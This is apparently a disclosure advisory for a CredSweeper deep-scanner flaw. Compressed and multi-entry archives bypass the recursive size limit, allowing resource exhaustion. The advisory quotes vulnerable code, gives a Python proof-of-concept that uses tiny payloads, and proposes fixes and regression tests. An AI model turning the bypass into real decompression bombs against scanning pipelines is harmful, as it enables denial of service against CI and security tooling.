PT-2026-61812 · Pypi · Credsweeper

Published

2026-07-10

·

Updated

2026-07-10

CVSS v3.1

5.5

Medium

VectorAV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Summary

CredSweeper's deep scanner does not enforce recursive limit size as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and AbstractScanner.recursive scan() continues processing even when the residual budget is already negative.
This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (--depth > 0). I confirmed this on upstream commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 / package version 1.15.8.
The issue has two closely related exploitation paths that share the same root cause:
  1. Single-stream decompressor bypass: gzip, bzip2, and lzma/xz inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.
  2. Multi-entry archive cumulative-budget bypass: zip and tar entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.
The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.

Details

The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.
The relevant call chain is:
  • credsweeper/app.py:323 self.deep scanner.scan(content provider, self.config.depth, self.config.size limit)
  • credsweeper/deep scanner/abstract scanner.py:269-305 The initial deep-scan entry point passes a recursive size budget into nested scanners.
  • credsweeper/deep scanner/abstract scanner.py:58-94 recursive scan() stops only on:
  • negative depth
  • data shorter than MIN DATA LEN It does not stop when recursive limit size is negative.
Exact source-level issue:
  1. Negative budgets are still accepted
credsweeper/deep scanner/abstract scanner.py:71-91
python
if 0 > depth:
  return candidates
depth -= 1
if MIN DATA LEN > len(data provider.data):
  return candidates
...
new candidates = self.deep scan with fallback(data provider, depth, recursive limit size)
There is no guard such as if recursive limit size < 0: return.
  1. Full decompression happens before any hard budget enforcement
credsweeper/deep scanner/gzip scanner.py:33-43
python
with gzip.open(io.BytesIO(data provider.data)) as f:
  gzip content provider = DataContentProvider(data=f.read(), ...)
  new limit = recursive limit size - len(gzip content provider.data)
  gzip candidates = self.recursive scan(gzip content provider, depth, new limit)
credsweeper/deep scanner/bzip2 scanner.py:38-43
python
bzip2 content provider = DataContentProvider(data=bz2.decompress(data provider.data), ...)
new limit = recursive limit size - len(bzip2 content provider.data)
bzip2 candidates = self.recursive scan(bzip2 content provider, depth, new limit)
credsweeper/deep scanner/lzma scanner.py:38-43
python
lzma content provider = DataContentProvider(data=lzma.decompress(data provider.data), ...)
new limit = recursive limit size - len(lzma content provider.data)
lzma candidates = self.recursive scan(lzma content provider, depth, new limit)
The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because recursive scan() accepts negative budgets, the oversize content is still scanned.
  1. Multi-entry archives use per-entry checks instead of a shared cumulative budget
credsweeper/deep scanner/zip scanner.py:49-60
python
if 0 > recursive limit size - zfl.file size:
  continue
with zf.open(zfl) as f:
  zip content provider = DataContentProvider(data=f.read(), ...)
  new limit = recursive limit size - len(zip content provider.data)
  zip candidates = self.recursive scan(zip content provider, depth, new limit)
credsweeper/deep scanner/tar scanner.py:48-59
python
if 0 > recursive limit size - tfi.size:
  continue
with tf.extractfile(tfi) as f:
  tar content provider = DataContentProvider(data=f.read(), ...)
  new limit = recursive limit size - len(tar content provider.data)
  tar candidates = self.recursive scan(tar content provider, depth, new limit)
These checks use the same original recursive limit size for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a zip or tar with many individually small files can exceed the intended aggregate extraction limit.
  1. Same code pattern is also present in RPM scanning
credsweeper/deep scanner/rpm scanner.py:42-51
The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.
Version scope:
  • The vulnerable recursive scanning logic was introduced by commit 0bd8fe56ad2e08b12d47677f7dbe1a75913969ae.
  • The last release before that commit is v1.4.8.
  • The first release containing that commit is v1.4.9.
  • Current upstream HEAD and package version 1.15.8 are still affected.

PoC

I reproduced the issue on:
  • Repository: https://github.com/Samsung/CredSweeper
  • Commit: 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  • Version: 1.15.8
I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.
Reproduction steps:
  1. Clone the repository:
bash
git clone https://github.com/Samsung/CredSweeper.git
cd CredSweeper
git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
  1. Save the following as proof poc.py one directory above the repository, or adjust REPO ROOT accordingly:
python
import bz2
import gzip
import importlib.util
import io
import json
import lzma
import os
import subprocess
import sys
import tarfile
import types
import zipfile

REPO ROOT = os.path.abspath(os.environ.get("CREDSWEEPER REPO", "CredSweeper"))
SOURCE ROOT = os.path.join(REPO ROOT, "credsweeper")

def load module(name, relpath):
  spec = importlib.util.spec from file location(name, os.path.join(SOURCE ROOT, relpath))
  module = importlib.util.module from spec(spec)
  sys.modules[name] = module
  spec.loader.exec module(module)
  return module

def reset credsweeper modules():
  for name in list(sys.modules):
    if name == "credsweeper" or name.startswith("credsweeper."):
      del sys.modules[name]

def install common stubs():
  for name in [
    "credsweeper",
    "credsweeper.common",
    "credsweeper.config",
    "credsweeper.credentials",
    "credsweeper.deep scanner",
    "credsweeper.file handler",
    "credsweeper.scanner",
    "credsweeper.utils",
  ]:
    module = types.ModuleType(name)
    module. path  = []
    sys.modules[name] = module

  constants module = types.ModuleType("credsweeper.common.constants")
  constants module.RECURSIVE SCAN LIMITATION = 1 << 30
  constants module.MIN DATA LEN = 8
  constants module.DEFAULT ENCODING = "utf 8"
  constants module.UTF 8 = "utf 8"
  constants module.MIN VALUE LENGTH = 4
  sys.modules["credsweeper.common.constants"] = constants module

  config module = types.ModuleType("credsweeper.config.config")
  class Config: pass
  config module.Config = Config
  sys.modules["credsweeper.config.config"] = config module

  candidate module = types.ModuleType("credsweeper.credentials.candidate")
  class Candidate:
    @staticmethod
    def get dummy candidate(* args, ** kwargs):
      return "dummy"
  candidate module.Candidate = Candidate
  sys.modules["credsweeper.credentials.candidate"] = candidate module

  augment module = types.ModuleType("credsweeper.credentials.augment candidates")
  def augment candidates(dst, src):
    if src:
      dst.extend(src)
  augment module.augment candidates = augment candidates
  sys.modules["credsweeper.credentials.augment candidates"] = augment module

  descriptor module = types.ModuleType("credsweeper.file handler.descriptor")
  class Descriptor:
    def  init (self, extension="", info=""):
      self.extension = extension
      self.info = info
  descriptor module.Descriptor = Descriptor
  sys.modules["credsweeper.file handler.descriptor"] = descriptor module

  file path extractor module = types.ModuleType("credsweeper.file handler.file path extractor")
  class FilePathExtractor:
    FIND BY EXT RULE = "Suspicious File Extension"
    @staticmethod
    def is find by ext file( config, extension):
      return False
    @staticmethod
    def check exclude file( config, path):
      return False
  file path extractor module.FilePathExtractor = FilePathExtractor
  sys.modules["credsweeper.file handler.file path extractor"] = file path extractor module

  scanner module = types.ModuleType("credsweeper.scanner.scanner")
  class Scanner: pass
  scanner module.Scanner = Scanner
  sys.modules["credsweeper.scanner.scanner"] = scanner module

  util module = types.ModuleType("credsweeper.utils.util")
  class Util:
    @staticmethod
    def get extension(path, lower=True):
      ext = os.path.splitext(str(path))[1]
      return ext.lower() if lower else ext
  util module.Util = Util
  sys.modules["credsweeper.utils.util"] = util module

  content provider module = types.ModuleType("credsweeper.file handler.content provider")
  class ContentProvider: pass
  content provider module.ContentProvider = ContentProvider
  sys.modules["credsweeper.file handler.content provider"] = content provider module

  data content provider module = types.ModuleType("credsweeper.file handler.data content provider")
  class DataContentProvider:
    def  init (self, data, file path=None, file type=None, info=None):
      self.data = data
      self.file path = file path or ""
      self.file type = file type or ""
      self.info = info or ""
      self.descriptor = Descriptor(extension=self.file type, info=self.info)
  data content provider module.DataContentProvider = DataContentProvider
  sys.modules["credsweeper.file handler.data content provider"] = data content provider module

  def install provider stub(module name, class name):
    module = types.ModuleType(module name)
    class Provider:
      def  init (self, *args, **kwargs):
        for key, value in kwargs.items():
          setattr(self, key, value)
    setattr(module, class name, Provider)
    sys.modules[module name] = module

  install provider stub("credsweeper.file handler.byte content provider", "ByteContentProvider")
  install provider stub("credsweeper.file handler.diff content provider", "DiffContentProvider")
  install provider stub("credsweeper.file handler.string content provider", "StringContentProvider")
  install provider stub("credsweeper.file handler.struct content provider", "StructContentProvider")
  install provider stub("credsweeper.file handler.text content provider", "TextContentProvider")

def get head commit():
  return subprocess.check output(["git", "rev-parse", "HEAD"], cwd=REPO ROOT, text=True).strip()

def get package version():
  init path = os.path.join(SOURCE ROOT, " init .py")
  with open(init path, "r", encoding="utf-8") as handle:
    for line in handle:
      if line.strip().startswith(" version  = "):
        return line.split("=", 1)[1].strip().strip('"')
  raise RuntimeError("Cannot locate  version ")

def load scanners():
  reset credsweeper modules()
  install common stubs()
  abstract module = load module("credsweeper.deep scanner.abstract scanner", "deep scanner/abstract scanner.py")
  gzip module = load module("credsweeper.deep scanner.gzip scanner", "deep scanner/gzip scanner.py")
  bzip2 module = load module("credsweeper.deep scanner.bzip2 scanner", "deep scanner/bzip2 scanner.py")
  lzma module = load module("credsweeper.deep scanner.lzma scanner", "deep scanner/lzma scanner.py")
  zip module = load module("credsweeper.deep scanner.zip scanner", "deep scanner/zip scanner.py")
  tar module = load module("credsweeper.deep scanner.tar scanner", "deep scanner/tar scanner.py")
  provider module = sys.modules["credsweeper.file handler.data content provider"]
  return abstract module, gzip module, bzip2 module, lzma module, zip module, tar module, provider module

class RecordingRecursiveCalls:
  def  init (self):
    self.calls = []
    self.config = object()
  def recursive scan(self, data provider, depth, recursive limit size):
    self.calls.append({
      "path": data provider.file path,
      "len": len(data provider.data),
      "limit": recursive limit size,
      "info": data provider.info,
      "depth": depth,
    })
    return []

def build compressed payloads(payload):
  gzip buffer = io.BytesIO()
  with gzip.GzipFile(fileobj=gzip buffer, mode="wb") as handle:
    handle.write(payload)
  return {
    "gzip": gzip buffer.getvalue(),
    "bzip2": bz2.compress(payload),
    "lzma": lzma.compress(payload),
  }

def proof negative budget after full decompression():
   , gzip module, bzip2 module, lzma module, , , provider module = load scanners()
  DataContentProvider = provider module.DataContentProvider
  payload = b"A" * 64
  recursive limit size = 16
  compressed payloads = build compressed payloads(payload)
  results = []
  for name, module, file name in [
    ("gzip", gzip module, "proof.txt.gz"),
    ("bzip2", bzip2 module, "proof.txt.bz2"),
    ("lzma", lzma module, "proof.txt.xz"),
  ]:
    recorder = RecordingRecursiveCalls()
    provider = DataContentProvider(compressed payloads[name], file path=file name, file type=os.path.splitext(file name)[1], info=f"FILE:{file name}")
    scanner class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner")
    scanner class.data scan(recorder, provider, depth=1, recursive limit size=recursive limit size)
    results.append({
      "format": name,
      "compressed size": len(compressed payloads[name]),
      "decompressed size": recorder.calls[0]["len"],
      "configured limit": recursive limit size,
      "residual limit seen by recursive scan": recorder.calls[0]["limit"],
      "recursive call": recorder.calls[0],
    })
  return results

def proof negative budget not rejected():
  abstract module, , , , , , provider module = load scanners()
  DataContentProvider = provider module.DataContentProvider
  AbstractScanner = abstract module.AbstractScanner
  class DemoScanner(AbstractScanner):
    @property
    def config(self):
      return object()
    @property
    def scanner(self):
      return object()
    def data scan(self, data provider, depth, recursive limit size):
      return []
    @staticmethod
    def get deep scanners(data, descriptor, depth):
      return [], []
    def deep scan with fallback(self, data provider, depth, recursive limit size):
      self.proof = {
        "data len": len(data provider.data),
        "depth": depth,
        "recursive limit size": recursive limit size,
      }
      return []
  demo = DemoScanner()
  provider = DataContentProvider(b"A" * 64, file path="oversize.txt", file type=".txt", info="FILE:oversize.txt")
  demo.recursive scan(provider, depth=1, recursive limit size=-48)
  return demo.proof

def proof cumulative budget bypass in multi entry archives():
   , , , , zip module, tar module, provider module = load scanners()
  DataContentProvider = provider module.DataContentProvider
  recursive limit size = 16
  member size = 12

  zip buffer = io.BytesIO()
  with zipfile.ZipFile(zip buffer, "w", zipfile.ZIP DEFLATED) as archive:
    archive.writestr("a.txt", b"A" * member size)
    archive.writestr("b.txt", b"B" * member size)

  tar buffer = io.BytesIO()
  with tarfile.open(fileobj=tar buffer, mode="w") as archive:
    for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]:
      payload = fill * member size
      info = tarfile.TarInfo(name)
      info.size = len(payload)
      archive.addfile(info, io.BytesIO(payload))

  results = []
  for name, module, data, scanner name in [
    ("zip", zip module, zip buffer.getvalue(), "ZipScanner"),
    ("tar", tar module, tar buffer.getvalue(), "TarScanner"),
  ]:
    recorder = RecordingRecursiveCalls()
    provider = DataContentProvider(data, file path=f"proof.{name}", file type=f".{name}", info=f"FILE:proof.{name}")
    getattr(module, scanner name).data scan(recorder, provider, depth=1, recursive limit size=recursive limit size)
    results.append({
      "format": name,
      "configured limit": recursive limit size,
      "member size": member size,
      "member count": len(recorder.calls),
      "total extracted bytes": sum(call["len"] for call in recorder.calls),
      "recursive calls": recorder.calls,
    })
  return results

print(json.dumps({
  "head commit": get head commit(),
  "package version": get package version(),
  "proof 1 negative budget after full decompression": proof negative budget after full decompression(),
  "proof 2 negative budget not rejected": proof negative budget not rejected(),
  "proof 3 cumulative budget bypass in multi entry archives": proof cumulative budget bypass in multi entry archives(),
}, indent=2, sort keys=True))
  1. Run it with Python 3:
bash
python proof poc.py
  1. Expected/observed output from my run on commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6:
json
{
 "head commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6",
 "package version": "1.15.8",
 "proof 1 negative budget after full decompression": [
  {
   "format": "gzip",
   "compressed size": 24,
   "configured limit": 16,
   "decompressed size": 64,
   "residual limit seen by recursive scan": -48
  },
  {
   "format": "bzip2",
   "compressed size": 39,
   "configured limit": 16,
   "decompressed size": 64,
   "residual limit seen by recursive scan": -48
  },
  {
   "format": "lzma",
   "compressed size": 68,
   "configured limit": 16,
   "decompressed size": 64,
   "residual limit seen by recursive scan": -48
  }
 ],
 "proof 2 negative budget not rejected": {
  "data len": 64,
  "depth": 0,
  "recursive limit size": -48
 },
 "proof 3 cumulative budget bypass in multi entry archives": [
  {
   "format": "zip",
   "configured limit": 16,
   "member size": 12,
   "member count": 2,
   "total extracted bytes": 24
  },
  {
   "format": "tar",
   "configured limit": 16,
   "member size": 12,
   "member count": 2,
   "total extracted bytes": 24
  }
 ]
}
What this proves:
  • GZIP/BZIP2/LZMA: With a configured recursive limit of 16, CredSweeper still fully inflates a 64 byte payload and then continues recursion with a residual limit of -48.
  • AbstractScanner: The negative budget is not rejected. recursive scan() still dispatches into deep scan with fallback() with recursive limit size = -48.
  • ZIP/TAR: A configured limit of 16 still allows two 12 byte members to be processed, for a total extracted size of 24.
This is a complete end-to-end proof of the root cause and both exploitation variants.

Impact

This is an availability / resource-exhaustion vulnerability.
Who is impacted:
  • Users who run CredSweeper with deep scanning enabled (--depth > 0) on untrusted repositories, archives, or binary inputs.
  • CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.
  • Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.
Practical consequences:
  • Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.
  • Archive inputs with many individually small members can exceed the configured budget in aggregate.
  • Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.
Security classification:
  • Primary weakness: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
  • Related weakness: CWE-400: Uncontrolled Resource Consumption
I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.

Mitigation

I recommend fixing this in three layers:
  1. Add a hard negative-budget guard in recursive scan() and structure scan()
Before any recursive dispatch, abort when recursive limit size < 0.
  1. Enforce limits before or during decompression, not after full materialization
  • gzip, bzip2, lzma/xz should use bounded incremental decompression / bounded reads.
  • If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.
  1. Track a mutable cumulative budget across sibling archive members
  • zip, tar, and rpm should share a remaining-budget counter across entries.
  • After one child is accepted, decrement the shared remaining budget before processing the next sibling.
Recommended regression tests:
  • A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.
  • Equivalent tests for bzip2 and lzma/xz.
  • A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.
  • A direct unit test for recursive scan() showing that negative recursive limit size stops recursion immediately.

Fix

Resource Exhaustion

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-9MQM-QCWF-5QHG

Affected Products

Credsweeper